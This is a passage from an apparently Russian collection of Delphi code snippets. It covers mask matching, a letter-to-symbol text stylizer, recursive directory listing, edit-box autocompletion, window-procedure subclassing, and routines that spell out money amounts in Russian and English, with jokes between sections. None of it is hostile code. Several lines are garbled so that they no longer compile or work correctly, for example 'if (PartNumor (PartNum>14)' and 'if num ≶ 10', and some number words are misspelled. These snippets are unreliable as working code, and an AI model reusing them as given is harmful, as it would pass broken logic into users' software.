if (MaskList[i] = '|') then
begin
if i + 1 <= MaskList.Count - 1 then
if MaskList[i + 1] <> '|' then
begin
if pos(MaskList[i + 1], s) > 2 then
begin
//break;
goto 2;
end;
s3 := s3 + copy(s, 1, length(MaskList[i + 1]) + 1);
delete(s, 1, length(MaskList[i + 1]) + 1);
fm := true;
i := i + 1;
goto 1;
end;
s3 := s3 + copy(s, 1, 1);
delete(s, 1, 1);
fm := true;
PrPos := 1;
end;
if (MaskList[i] <> '`') and (MaskList[i] <> '|') then
begin
if pos(MaskList[i], s) = 0 then
goto 2;
j := pos(MaskList[i], s);
s3 := s3 + copy(s, j, length(MaskList[i]));
delete(s, 1, j + length(MaskList[i]) - 1);
fm := true;
PrPos := length(MaskList[i]);
fm := true
end;
end;
if (PrPos <> 0) and (i = MaskList.Count - 1) then
begin
if (MaskList[i] = '`') then
begin
s3 := s3 + s;
s := '';
fm := true;
PrPos := j;
end;
if (MaskList[i] = '|') then
begin
s3 := s3 + copy(s, 1, 1);
delete(s, 1, 1);
fm := true;
PrPos := 1;
end;
if (MaskList[i] <> '`') and (MaskList[i] <> '|') then
begin
if pos(MaskList[i], s) <> 0 then
j := pos(MaskList[i], s) + length(MaskList[i]) - 1
else
goto 2;
s3 := s3 + copy(s, 1, j);
delete(s, 1, j);
fm := true;
PrPos := j + length(s3);
end;
end;
1: inc(i);
end;
s5 := s3;
if s3 <> '' then
for i := 0 to MaskList.Count - 1 do
if (MaskList[i] <> '`') and (MaskList[i] <> '|') then
begin
if pos(MaskList[i], s3) = 0 then
goto 2;
s3 := StringReplace(s3, MaskList[i], '', []);
end;
s3 := s5;
MaskList.Free;
if fm then
begin
result := s3;
end
{
{result:='';
else
if length(s)>=length(Mask) then
result:=CompMask(s,Mask)
else Result:='';}
end;
destructor TmaskObj.close;
begin
Maschr.free;
Masposish.free;
end;
constructor TmaskObj.open;
begin
Maschr := TStringList.Create;
Masposish := TStringList.Create;
end;
end.
Пример использования:
s := 'asd r'; s := CompMask(s, 'd |'); //в результате s='d r';
Стилизатор.
Автор: Александр.
unit Stilizator;
interface
uses
Windows, Messages, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, XPMan;
type
TForm1 = class(TForm)
MemoSource: TMemo;
MemoDest: TMemo;
Button: TButton;
XPManifest1: TXPManifest;
procedure ButtonClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
procedure ConvertText(Letter: String);
end;
var
Form1: TForm1;
RS : Array [0..65] of String;
PRS : Array [0..65] of String;
ES : Array [0..51] of String;
PPS : Array [0..51] of String;
implementation
uses AboutUnit;
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
RS[0]:='а'; PRS[0]:='@';
RS[1]:='б'; PRS[1]:='6';
RS[2]:='в'; PRS[2]:='B';
RS[3]:='г'; PRS[3]:='r';
RS[4]:='д'; PRS[4]:='g';
RS[5]:='е'; PRS[5]:='e';
RS[6]:='ё'; PRS[6]:='e';
RS[7]:='ж'; PRS[7]:='}|{';
RS[8]:='з'; PRS[8]:='3';
RS[9]:='и'; PRS[9]:='u';
RS[10]:='й'; PRS[10]:='u';
RS[11]:='к'; PRS[11]:='k';
RS[12]:='л'; PRS[12]:='JI';
RS[13]:='м'; PRS[13]:='M';
RS[14]:='н'; PRS[14]:='H';
RS[15]:='о'; PRS[15]:='o';
RS[16]:='п'; PRS[16]:='n';
RS[17]:='р'; PRS[17]:='p';
RS[18]:='с'; PRS[18]:='c';
RS[19]:='т'; PRS[19]:='T';
RS[20]:='у'; PRS[20]:='y';
RS[21]:='ф'; PRS[21]:='%';
RS[22]:='х'; PRS[22]:='x';
RS[23]:='ц'; PRS[23]:='?';
RS[24]:='ч'; PRS[24]:='4';
RS[25]:='ш'; PRS[25]:='III';
RS[26]:='щ'; PRS[26]:='III,';
RS[27]:='ъ'; PRS[27]:='b';
RS[28]:='ы'; PRS[28]:='bI';
RS[29]:='ь'; PRS[29]:='b';
RS[30]:='э'; PRS[30]:='&';
RS[31]:='ю'; PRS[31]:='I-o';
RS[32]:='я'; PRS[32]:='9I';
RS[33]:='А'; PRS[33]:='A';
RS[34]:='Б'; PRS[34]:='6';
RS[35]:='В'; PRS[35]:='B';
RS[36]:='Г'; PRS[36]:='r';
RS[37]:='Д'; PRS[37]:='g';
RS[38]:='Е'; PRS[38]:='E';
RS[39]:='Ё'; PRS[39]:='E';
RS[40]:='Ж'; PRS[40]:='}|{';
RS[41]:='З'; PRS[41]:='3';
RS[42]:='И'; PRS[42]:='U';
RS[43]:='Й'; PRS[43]:='U';
RS[44]:='К'; PRS[44]:='K';
RS[45]:='Л'; PRS[45]:='JL';
RS[46]:='М'; PRS[46]:='M';
RS[47]:='Н'; PRS[47]:='H';
RS[48]:='О'; PRS[48]:='O';
RS[49]:='П'; PRS[49]:='n';
RS[50]:='Р'; PRS[50]:='p';
RS[51]:='С'; PRS[51]:='c';
RS[52]:='Т'; PRS[52]:='T';
RS[53]:='У'; PRS[53]:='Y';
RS[54]:='Ф'; PRS[54]:='%';
RS[55]:='Х'; PRS[55]:='X';
RS[56]:='Ц'; PRS[56]:='?';
RS[57]:='Ч'; PRS[57]:='4';
RS[58]:='Ш'; PRS[58]:='III';
RS[59]:='Щ'; PRS[59]:='III,';
RS[60]:='Ъ'; PRS[60]:='b';
RS[61]:='Ы'; PRS[61]:='bI';
RS[62]:='Ь'; PRS[62]:='b';
RS[63]:='Э'; PRS[63]:='&';
RS[64]:='Ю'; PRS[64]:='I-O';
RS[65]:='Я'; PRS[65]:='9I';
ES[0]:='a'; PPS[0]:='@';
ES[1]:='b'; PPS[1]:='6';
ES[2]:='c'; PPS[2]:='|_|,';
ES[3]:='d'; PPS[3]:=',^,';
ES[4]:='e'; PPS[4]:='e';
ES[5]:='f'; PPS[5]:='%';
ES[6]:='g'; PPS[6]:='|"';
ES[7]:='h'; PPS[7]:='][';
ES[8]:='i'; PPS[8]:='|/|';
ES[9]:='j'; PPS[9]:='>|<';
ES[10]:='k'; PPS[10]:='K';
ES[11]:='l'; PPS[11]:='/\';
ES[12]:='m'; PPS[12]:='M';
ES[13]:='n'; PPS[13]:='|-|';
ES[14]:='o'; PPS[14]:='0';
ES[15]:='p'; PPS[15]:='n';
ES[16]:='q'; PPS[16]:='k|3';
ES[17]:='r'; PPS[17]:='P';
ES[18]:='s'; PPS[18]:='$';
ES[19]:='t'; PPS[19]:='T';
ES[20]:='u'; PPS[20]:='Y';
ES[21]:='v'; PPS[21]:='\/';
ES[22]:='w'; PPS[22]:='|3';
ES[23]:='x'; PPS[23]:='kc';
ES[24]:='y'; PPS[24]:='9';
ES[25]:='z'; PPS[25]:='3';
ES[26]:='A'; PPS[26]:='@';
ES[27]:='B'; PPS[27]:='6';
ES[28]:='C'; PPS[28]:='|_|,';
ES[29]:='D'; PPS[29]:=',^,';
ES[30]:='E'; PPS[30]:='E';
ES[31]:='F'; PPS[31]:='%';
ES[32]:='G'; PPS[32]:='|"';
ES[33]:='H'; PPS[33]:='}{';
ES[34]:='I'; PPS[34]:='|/|';
ES[35]:='J'; PPS[35]:='>|<';
ES[36]:='K'; PPS[36]:='K';
ES[37]:='L'; PPS[37]:='/\';
ES[38]:='M'; PPS[38]:='M';
ES[39]:='N'; PPS[39]:='|-|';
ES[40]:='O'; PPS[40]:='0';
ES[41]:='P'; PPS[41]:='n';
ES[42]:='Q'; PPS[42]:='K|3';
ES[43]:='R'; PPS[43]:='P';
ES[44]:='S'; PPS[44]:='$';
ES[45]:='T'; PPS[45]:='T';
ES[46]:='U'; PPS[46]:='Y';
ES[47]:='V'; PPS[47]:='\/';
ES[48]:='W'; PPS[48]:='|3';
ES[49]:='X'; PPS[49]:='][';
ES[50]:='Y'; PPS[50]:='9';
ES[51]:='Z'; PPS[51]:='3';
end;
procedure TForm1.ButtonClick(Sender: TObject);
var
i : Integer;
Letter : String;
begin
MemoDest.Clear;
for i := 0 to MemoSource.GetTextLen - 1 do begin
MemoSource.SelStart := i;
MemoSource.SelLength := 1;
Letter := MemoSource.SelText;
ConvertText(Letter);
Sleep(5)
end;
MemoSource.SelLength := 0;
end;
procedure TForm1.ConvertText(Letter: String);
var
i : Integer;
begin
for i := 0 to 65 do begin
if Letter = RS[i] then
Letter := PRS[i];
end;
for i := 0 to 51 do begin
if Letter = ES[i] then
Letter := PPS[i];
end;
MemoDest.Text := MemoDest.Text + Letter;
end;
end.
Итерация подкаталогов.
| Комп, как модель матриархата: на одной мамке можно завести папок сколько влезет. |
procedure TFormList.RecurseDir(PathInicial: string);
var
SearchRec: TSearchRec;
Result: integer;
tmpName: string;
begin
DirectoryListBox1.Directory := PathInicial;
Result := FindFirst(PathInicial + '\*.*', faAnyFile, SearchRec);
while Result = 0 do
begin
if ExtOk(SearchRec.Name) then
{ если каталог... }
if SearchRec.Attr and faDirectory > 0 then
{ рекурсивно обрабатываем... }
RecurseDir(PathInicial + '\' + SearchRec.Name)
else
begin
tmpName := PathInicial + '\' + SearchRec.Name;
tmpName := Copy(tmpName,
Pos(PathOrigen, tmpName) + Length(PathOrigen),
Length(tmpName) - Length(PathOrigen));
ListBox1.Items.Add(LowerCase(tmpName));
end;
Application.ProcessMessages;
Result := FindNext(SearchRec);
end;
DirectoryListBox1.Directory := PathInicial;
end;
|
Подстановка в TEdit.
| Последние новости от Microsoft: Билл Гейтс привезет 10 октября в Москву последнюю разработку своей компании - партию картриджей для Dendy и Super Nintendo с новой версией операционной системы Windows и пакета MSOffice на русском языке, и лично будет продавать их на Митинском радиорынке (место G9) под усиленной охраной ОМОН. |
var
words: TStringList;
procedure TForm1.FormCreate(Sender: TObject);
begin
words := TStringList.Create;
words.Sorted := true;
words.Add('one');
words.Add('two');
words.Add('four');
words.Add('five');
words.Add('six');
words.Add('seven');
words.Add('eight');
words.Add('nine');
words.Add('ten');
end;
procedure TForm1.Edit1KeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
const
chars: set of char = ['A'..'Z', 'a'..'z', 'А'..'Я', 'а'..'я'];
var
w: string;
i: integer;
s: string;
full: string;
SelSt: integer;
begin
case Key of
VK_RETURN, VK_TAB:
begin
Edit1.SelStart := Edit1.SelStart + Edit1.SelLength;
Edit1.SelLength := 0;
Exit;
end;
VK_DELETE, VK_BACK:
begin
Edit1.ClearSelection;
Exit;
end;
end;
s := Edit1.Text;
SelSt := Edit1.SelStart;
i := SelSt;
if (length(s) > i) and (s[i+1] in chars) then
Exit;
w := '';
while (i >= 1) and (s[i] in chars) do
begin
w := s[i] + w;
dec(i);
end;
if length(w) then
Exit;
words.Find(w, i);
if (i >= 0) and (UpperCase(copy(words[i], 1,
length(w))) = UpperCase(w)) then
begin
full := words[i];
insert(copy(full, length(w) + 1, length(full)), s, SelSt + 1);
Edit1.Text := s;
Edit1.SelStart := SelSt;
Edit1.SelLength := length(full) - length(w);
end;
end;
|
Переопределение оконной процедуры и метода для другой формы.
unit SubSecon;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
type
TForm2 = class(TForm)
procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form2: TForm2;
implementation
{$R *.DFM}
procedure TForm2.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
Caption := Format ('Cursor in %d, %d', [X, Y]);
end;
end.
|
unit SubMain;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TForm1 = class(TForm)
BtnShow: TButton;
BtnProc: TButton;
BtnMeth: TButton;
procedure BtnShowClick(Sender: TObject);
procedure BtnMethClick(Sender: TObject);
procedure BtnProcClick(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
OldWndMeth, NewWndMeth: Pointer;
SubControl: TWinControl;
public
procedure NewWinMethod (var Msg: TMessage);
end;
var
Form1: TForm1;
implementation
uses SubSecon;
{$R *.DFM}
var
OldWndProc: Pointer = nil;
function NewWinProc (Handle: THandle;
Msg, wParam, lParam: LongInt): LongInt; stdcall;
begin
if Msg = wm_RButtonDown then
begin
Beep;
SetWindowText (Handle,
PChar (Format ('Right click in %d, %d', [
LoWord (lParam), HiWord (lParam)])));
end;
// pass call to old window proc
Result := CallWindowProc (OldWndProc, Handle,
Msg, wParam, lParam);
end;
procedure TForm1.NewWinMethod (var Msg: TMessage);
begin
if Msg.Msg = wm_LButtonDown then
begin
Beep;
SubControl.SetTextBuf (
PChar (Format ('Left click in %d, %d', [
LoWord (Msg.lParam), HiWord (Msg.lParam)])));
end
else
Msg.Result := CallWindowProc (OldWndMeth,
SubControl.Handle, Msg.Msg, Msg.WParam, Msg.LParam);
end;
procedure TForm1.BtnShowClick(Sender: TObject);
begin
Form2.Show;
end;
procedure TForm1.BtnProcClick(Sender: TObject);
begin
OldWndProc := Pointer (SetWindowLong
(Form2.Handle, gwl_WndProc, LongInt (@NewWinProc)));
BtnProc.Enabled := False;
end;
procedure TForm1.BtnMethClick(Sender: TObject);
begin
SubControl := Form2;
NewWndMeth := MakeObjectInstance (NewWinMethod);
OldWndMeth := Pointer (SetWindowLong (
SubControl.Handle, gwl_WndProc, Longint (NewWndMeth)));
BtnMeth.Enabled := False;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
if Assigned (NewWndMeth) then
FreeObjectInstance (NewWndMeth);
end;
end.
|
Загрузить исходный код проекта
Сумма прописью - Способ 1.
Автор: Константин Егоров.
Создавайте отдельный модуль, где будут расположена эта функция, и подключайте его в нужные проекты.
Здесь опубликовывается конечный вид модуля:
unit FullSum;
interface
uses SysUtils;
{
Функция перевода суммы, записанной цифрами в сумму прописью :
например, 23.12 -> двадцать три рубля 12 копеек.
переводит до 999999999 руб. 99 коп.
Функция не отслеживает, правильное ли значение получено в параметре Number
(т.е. положительное и округленное с точностью до сотых) - эту проверку
необходимо провести до вызова функции.
}
//----------------- Copyright (c) 1999 by Константин Егоров
//----------------- mailto: egor@vladi.elektra.ru
function SumNumToFull(Number: real): string;
implementation
function SumNumToFull(Number:real):string;
var
PartNum, TruncNum, NumTMP, D: integer;
NumStr : string;
i, R : byte;
Flag11 : boolean;
begin
D:=1000000;
R:=4;
//выделяем рубли
TruncNum:=Trunc(Number);
if TruncNum<>0 then
repeat
PartNum:=TruncNum div D;
Dec(R);
D:=D div 1000;
until
PartNum<>0
else
R:=0;
// перевод рублей
for i:=R downto 1 do
begin
Flag11:=False;
// выделение цифры сотен
NumTMP:=PartNum div 100;
case NumTMP of
1: NumStr:=NumStr+'сто ';
2: NumStr:=NumStr+'двести ';
3: NumStr:=NumStr+'триста ';
4: NumStr:=NumStr+'четыреста ';
5: NumStr:=NumStr+'пятьсот ';
6: NumStr:=NumStr+'шестьсот ';
7: NumStr:=NumStr+'семьсот ';
8: NumStr:=NumStr+'восемьсот ';
9: NumStr:=NumStr+'девятьсот ';
end;
// выделение цифры десятков
NumTMP:=(PartNum mod 100) div 10;
case NumTMP of
1:
begin
NumTMP:=PartNum mod 100;
case NumTMP of
10: NumStr:=NumStr+'десять ';
11: NumStr:=NumStr+'одиннадцать ';
12: NumStr:=NumStr+'двенадцать ';
13: NumStr:=NumStr+'тринадцать ';
14: NumStr:=NumStr+'четырнадцать ';
15: NumStr:=NumStr+'пятнадцать ';
16: NumStr:=NumStr+'шестнадцать ';
17: NumStr:=NumStr+'семнадцать ';
18: NumStr:=NumStr+'восемнадцать ';
19: NumStr:=NumStr+'девятнадцать ';
end;
case i of
3: NumStr:=NumStr+'миллионов ';
2: NumStr:=NumStr+'тысяч ';
1: NumStr:=NumStr+'рублей ';
end;
Flag11:=True;
end;
2: NumStr:=NumStr+'двадцать ';
3: NumStr:=NumStr+'тридцать ';
4: NumStr:=NumStr+'сорок ';
5: NumStr:=NumStr+'пятьдесят ';
6: NumStr:=NumStr+'шестьдесят ';
7: NumStr:=NumStr+'семьдесят ';
8: NumStr:=NumStr+'восемьдесят ';
9: NumStr:=NumStr+'девяносто ';
end;
// выделение цифры единиц
NumTMP:=PartNum mod 10;
if not Flag11 then
begin
case NumTMP of
1:
if i=2 then
NumStr:=NumStr+'одна '
else
NumStr:=NumStr+'один ';
2:
if i=2 then
NumStr:=NumStr+'две '
else
NumStr:=NumStr+'два ';
3: NumStr:=NumStr+'три ';
4: NumStr:=NumStr+'четыре ';
5: NumStr:=NumStr+'пять ';
6: NumStr:=NumStr+'шесть ';
7: NumStr:=NumStr+'семь ';
8: NumStr:=NumStr+'восемь ';
9: NumStr:=NumStr+'девять ';
end;
case i of
3:
case NumTMP of
1: NumStr:=NumStr+'миллион ';
2,3,4: NumStr:=NumStr+'миллиона ';
else
NumStr:=NumStr+'миллионов ';
end;
2:
case NumTMP of
1 : NumStr:=NumStr+'тысяча ';
2,3,4: NumStr:=NumStr+'тысячи ';
else
if PartNum<>0 then
NumStr:=NumStr+'тысяч ';
end;
1:
case NumTMP of
1 : NumStr:=NumStr+'рубль ';
2,3,4: NumStr:=NumStr+'рубля ';
else
NumStr:=NumStr+'рублей ';
end;
end;
end;
if i>1 then
begin
PartNum:=(TruncNum mod (D*1000)) div D;
D:=D div 1000;
end;
end;
//перевод копеек
PartNum:=Round(Frac(Number)*100);
if PartNum=0 then
begin
SumNumToFull:=NumStr+'00 копеек';
Exit;
end;
// выделение цифры десятков
NumTMP:=PartNum div 10;
if NumTMP=0 then
NumStr:=NumStr+'0'+IntToStr(PartNum)+' '
else
NumStr:=NumStr+IntToStr(PartNum)+' ';
// выделение цифры единиц
NumTMP:=PartNum mod 10;
case NumTMP of
1:
if PartNum<>11 then
NumStr:=NumStr+'копейка'
else
NumStr:=NumStr+'копеек';
2,3,4:
if (PartNumor (PartNum>14) then
NumStr:=NumStr+'копейки'
else
NumStr:=NumStr+'копеек';
else
NumStr:=NumStr+'копеек';
end;
SumNumToFull:=NumStr;
end;
end.
|
Сумма прописью - Способ 10.
Еще два решения конвертации денежной суммы на английском языке.
function HundredAtATime(TheAmount: Integer): string;
var
TheResult: string;
begin
TheResult := '';
TheAmount := Abs(TheAmount);
while TheAmount > 0 do
begin
if TheAmount >= 900 then
begin
TheResult := TheResult + 'Nine hundred ';
TheAmount := TheAmount - 900;
end;
if TheAmount >= 800 then
begin
TheResult := TheResult + 'Eight hundred ';
TheAmount := TheAmount - 800;
end;
if TheAmount >= 700 then
begin
TheResult := TheResult + 'Seven hundred ';
TheAmount := TheAmount - 700;
end;
if TheAmount >= 600 then
begin
TheResult := TheResult + 'Six hundred ';
TheAmount := TheAmount - 600;
end;
if TheAmount >= 500 then
begin
TheResult := TheResult + 'Five hundred ';
TheAmount := TheAmount - 500;
end;
if TheAmount >= 400 then
begin
TheResult := TheResult + 'Four hundred ';
TheAmount := TheAmount - 400;
end;
if TheAmount >= 300 then
begin
TheResult := TheResult + 'Three hundred ';
TheAmount := TheAmount - 300;
end;
if TheAmount >= 200 then
begin
TheResult := TheResult + 'Two hundred ';
TheAmount := TheAmount - 200;
end;
if TheAmount >= 100 then
begin
TheResult := TheResult + 'One hundred ';
TheAmount := TheAmount - 100;
end;
if TheAmount >= 90 then
begin
TheResult := TheResult + 'Ninety ';
TheAmount := TheAmount - 90;
end;
if TheAmount >= 80 then
begin
TheResult := TheResult + 'Eighty ';
TheAmount := TheAmount - 80;
end;
if TheAmount >= 70 then
begin
TheResult := TheResult + 'Seventy ';
TheAmount := TheAmount - 70;
end;
if TheAmount >= 60 then
begin
TheResult := TheResult + 'Sixty ';
TheAmount := TheAmount - 60;
end;
if TheAmount >= 50 then
begin
TheResult := TheResult + 'Fifty ';
TheAmount := TheAmount - 50;
end;
if TheAmount >= 40 then
begin
TheResult := TheResult + 'Fourty ';
TheAmount := TheAmount - 40;
end;
if TheAmount >= 30 then
begin
TheResult := TheResult + 'Thirty ';
TheAmount := TheAmount - 30;
end;
if TheAmount >= 20 then
begin
TheResult := TheResult + 'Twenty ';
TheAmount := TheAmount - 20;
end;
if TheAmount >= 19 then
begin
TheResult := TheResult + 'Nineteen ';
TheAmount := TheAmount - 19;
end;
if TheAmount >= 18 then
begin
TheResult := TheResult + 'Eighteen ';
TheAmount := TheAmount - 18;
end;
if TheAmount >= 17 then
begin
TheResult := TheResult + 'Seventeen ';
TheAmount := TheAmount - 17;
end;
if TheAmount >= 16 then
begin
TheResult := TheResult + 'Sixteen ';
TheAmount := TheAmount - 16;
end;
if TheAmount >= 15 then
begin
TheResult := TheResult + 'Fifteen ';
TheAmount := TheAmount - 15;
end;
if TheAmount >= 14 then
begin
TheResult := TheResult + 'Fourteen ';
TheAmount := TheAmount - 14;
end;
if TheAmount >= 13 then
begin
TheResult := TheResult + 'Thirteen ';
TheAmount := TheAmount - 13;
end;
if TheAmount >= 12 then
begin
TheResult := TheResult + 'Twelve ';
TheAmount := TheAmount - 12;
end;
if TheAmount >= 11 then
begin
TheResult := TheResult + 'Eleven ';
TheAmount := TheAmount - 11;
end;
if TheAmount >= 10 then
begin
TheResult := TheResult + 'Ten ';
TheAmount := TheAmount - 10;
end;
if TheAmount >= 9 then
begin
TheResult := TheResult + 'Nine ';
TheAmount := TheAmount - 9;
end;
if TheAmount >= 8 then
begin
TheResult := TheResult + 'Eight ';
TheAmount := TheAmount - 8;
end;
if TheAmount >= 7 then
begin
TheResult := TheResult + 'Seven ';
TheAmount := TheAmount - 7;
end;
if TheAmount >= 6 then
begin
TheResult := TheResult + 'Six ';
TheAmount := TheAmount - 6;
end;
if TheAmount >= 5 then
begin
TheResult := TheResult + 'Five ';
TheAmount := TheAmount - 5;
end;
if TheAmount >= 4 then
begin
TheResult := TheResult + 'Four ';
TheAmount := TheAmount - 4;
end;
if TheAmount >= 3 then
begin
TheResult := TheResult + 'Three ';
TheAmount := TheAmount - 3;
end;
if TheAmount >= 2 then
begin
TheResult := TheResult + 'Two ';
TheAmount := TheAmount - 2;
end;
if TheAmount >= 1 then
begin
TheResult := TheResult + 'One ';
TheAmount := TheAmount - 1;
end;
end;
HundredAtATime := TheResult;
end;
function Real2CheckAmount(TheAmount: Real): string;
var
IntVal: LongInt;
TmpVal: Integer;
TmpStr,
RetVal: string;
begin
TheAmount := Abs(TheAmount);
{ центы }
TmpVal := Round(Frac(TheAmount) * 100);
IntVal := Trunc(TheAmount);
TmpStr := HundredAtATime(TmpVal);
if TmpStr = '' then
TmpStr := 'Zero ';
RetVal := TmpStr + 'cents';
if IntVal > 0 then
RetVal := 'dollars and ' + RetVal;
{ сотни }
TmpVal := Round(Frac((IntVal * 1.0) / 1000.0) * 1000);
IntVal := Trunc((IntVal * 1.0) / 1000.0);
TmpStr := HundredAtATime(TmpVal);
RetVal := TmpStr + RetVal;
{ тысячи }
TmpVal := Round(Frac((IntVal * 1.0) / 1000.0) * 1000);
IntVal := Trunc((IntVal * 1.0) / 1000.0);
TmpStr := HundredAtATime(TmpVal);
if TmpStr <> '' then
RetVal := TmpStr + 'Thousand ' + RetVal;
{ миллионы }
TmpVal := Round(Frac((IntVal * 1.0) / 1000.0) * 1000);
IntVal := Trunc((IntVal * 1.0) / 1000.0);
TmpStr := HundredAtATime(TmpVal);
if TmpStr <> '' then
RetVal := TmpStr + 'Million ' + RetVal;
{ миллиарды }
TmpVal := Round(Frac((IntVal * 1.0) / 1000.0) * 1000);
IntVal := Trunc((IntVal * 1.0) / 1000.0);
TmpStr := HundredAtATime(TmpVal);
if TmpStr <> '' then
RetVal := TmpStr + 'Billion ' + RetVal;
Real2CheckAmount := RetVal;
end;
|
Хммммм... вроде бы работает, но как все громоздко и неуклюже.... добавьте в код немного рекурсии и вы получите более элегантную программу..:))).
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TForm1 = class(TForm)
num: TEdit;
spell: TEdit;
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
function trans9(num: integer): string;
function trans19(num: integer): string;
function trans99(num: integer): string;
function IntToSpell(num: integer): string;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
function TForm1.IntToSpell(num: integer): string;
var
spell: string;
hspell: string;
hundred: string;
thousand: string;
tthousand: string;
hthousand: string;
million: string;
begin
if num ≶
10 then
spell := trans9(num);
{endif}
if (num < 20) and (num > 10) then
spell := trans19(num);
{endif}
if (((num < 100) and (num > 19)) or (num = 10)) then
begin
hspell := copy(IntToStr(num), 1, 1) + '0';
spell := trans99(StrToInt(hspell));
hspell := copy(IntToStr(num), 2, 1);
spell := spell + ' ' + IntToSpell(StrToInt(hspell));
end;
if (num < 1000) and (num > 100) then
begin
hspell := copy(IntToStr(num), 1, 1);
hundred := IntToSpell(StrToInt(hspell));
hspell := copy(IntToStr(num), 2, 2);
hundred := hundred + ' hundred and ' + IntToSpell(StrToInt(hspell));
spell := hundred;
end;
if (num < 10000) and (num > 1000) then
begin
hspell := copy(IntToStr(num), 1, 1);
thousand := IntToSpell(StrToInt(hspell));
hspell := copy(IntToStr(num), 2, 3);
thousand := thousand + ' thousand ' + IntToSpell(StrToInt(hspell));
spell := thousand;
end;
if (num < 100000) and (num > 10000) then
begin
hspell := copy(IntToStr(num), 1, 2);
tthousand := IntToSpell(StrToInt(hspell));
hspell := copy(IntToStr(num), 3, 3);
tthousand := tthousand + ' thousand ' + IntToSpell(StrToInt(hspell));
spell := tthousand;
end;
if (num < 1000000) and (num > 100000) then
begin
hspell := copy(IntToStr(num), 1, 3);
hthousand := IntToSpell(StrToInt(hspell));
hspell := copy(IntToStr(num), 4, 3);
hthousand := hthousand + ' thousand and ' +
IntToSpell(StrToInt(hspell));
spell := hthousand;
end;
if (num < 10000000) and (num > 1000000) then
begin
hspell := copy(IntToStr(num), 1, 1);
million := IntToSpell(StrToInt(hspell));
hspell := copy(IntToStr(num), 2, 6);
million := million + ' million and ' + IntToSpell(StrToInt(hspell));
spell := million;
end;
IntToSpell := spell;
end;
function TForm1.trans99(num: integer): string;
var
spell: string;
begin
case num of
10: spell := 'ten';
20: spell := 'twenty';
30: spell := 'thirty';
40: spell := 'fourty';
50: spell := 'fifty';
60: spell := 'sixty';
70: spell := 'seventy';
80: spell := 'eighty';
90: spell := 'ninty';
end;
trans99 := spell;
end;
function TForm1.trans19(num: integer): string;
var
spell: string;
begin
case num of
11: spell := 'eleven';
12: spell := 'twelve';
13: spell := 'thirteen';
14: spell := 'fourteen';
15: spell := 'fifteen';
16: spell := 'sixteen';
17: spell := 'seventeen';
18: spell := 'eighteen';
19: spell := 'nineteen';
end;
trans19 := spell;
end;
function TForm1.trans9(num: integer): string;
var
spell: string;
begin
case num of
1: spell := 'one';
2: spell := 'two';
3: spell := 'three';
4: spell := 'four';
5: spell := 'five';
6: spell := 'six';
7: spell := 'seven';
8: spell := 'eight';
9: spell := 'nine';
end;
trans9 := spell;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
numb: integer;
begin
spell.text := IntToSpell(StrToInt(num.text));
end;
end.
|
Сумма прописью - Способ 11.
Автор: Панченко Сергей.
Честно, давно ждал подобного журнала в электронном виде. Решил послать своё творчество которое уже немало отработало, опять же, преобразование числа в пропись, отличающееся от опубликованных программок тем, что слова для прописи хранятся в отдельном файле (lang.cnf), по аналогии с подуктами 1C. Это позволяет изменять национальную валюту. Если поэкспериментировать, с массивом Univer, в котором хранятся окончания, можно добиться преобразования для многих языков, не сказал ли я чего лишнего. :) Надеюсь, моя версия Вам понравится. С наилучшими пожеланиями, Панченко Сергей Казахстан, Алматы,BuchUtil.pas.
unit BuchUtil;
interface
uses IniFiles, SysUtils;
function DoubleChar(ch: string): string;
function NumToSampl(N: string): string;
function MoneyToSampl(M: Currency): string;
procedure LexemsToDim(fstr: string; var dim: array of string);
var
NameNum: array[0..9, 1..4] of string; //массив им?н чисел
Ext: array[0..4, 1..3] of string; //массив расшиений (тысячи, миллионы ...)
Univer: array[1..9, 1..4] of integer; //массив окончаний
Rubl: array[1..3] of string; //массив имен рублей
Cop: array[1..3] of string; //массив имен копеек
Zero: string; //название нуля
One: string; //единица "одна"
Two: string; //двойка "две"
fFile: TIniFile; //файл, откуда загружается пропись
fString: string;
fDim: array[0..9] of string;
i: integer;
implementation
{заполняет массив Dim лексемами}
procedure LexemsToDim(fstr: string; var dim: array of string);
var
i, j: integer;
flex: string;
begin
if Length(fstr) > 0 then
begin
i := 1;
j := 0;
while i - 1 < Length(fstr) do
begin
if fstr[i] = ',' then
begin
dim[j] := flex + ' ';
inc(j);
flex := '';
end
else
flex := flex + fstr[i];
inc(i);
end;
end;
end;
{преобразует число в пропись
процедура использует файл lang.cnf}
function NumToSampl(N: string): string;
var
k, i, i_indx: integer;
number, string_num: string;
index: integer;
pos: integer;
fl_ext: boolean;
begin
fl_ext := true;
i := 1;
String_num := '';
number := Trim(N);
k := length(number);
if (k = 1) and (number = '0') then
String_num := Zero
else
begin
pos := 0;
while (k > 0) do
begin
if (k <> 1) and (i = 1) and (length(number) <> 1) and (copy(number, k - 1,
1) = '1')
and (copy(number, k, 1) <> '0') then
begin
index := StrToInt(copy(number, k, 1));
dec(k);
inc(i);
i_indx := 4;
end
else
begin
index := StrToInt(copy(number, k, 1));
i_indx := i;
end;
if (NameNum[index, i_indx] <> '') and (fl_ext = true) then
begin
String_num := Ext[pos, Univer[index, i_indx]] + String_num;
fl_ext := false;
end;
if (index = 1) and (pos = 1) and (i = 1) then
String_num := One + String_num
else if (index = 2) and (pos = 1) and (i = 1) then
String_num := Two + String_num
else
String_num := NameNum[index, i_indx] + String_num;
inc(i);
if i = 4 then
begin
i := 1;
inc(pos);
fl_ext := true
end;
dec(k);
end;
end;
if Trim(String_Num) <> '' then
begin
String_num[1] := CHR(ORD(String_num[1]) - 32);
Result := String_num;
end;
end;
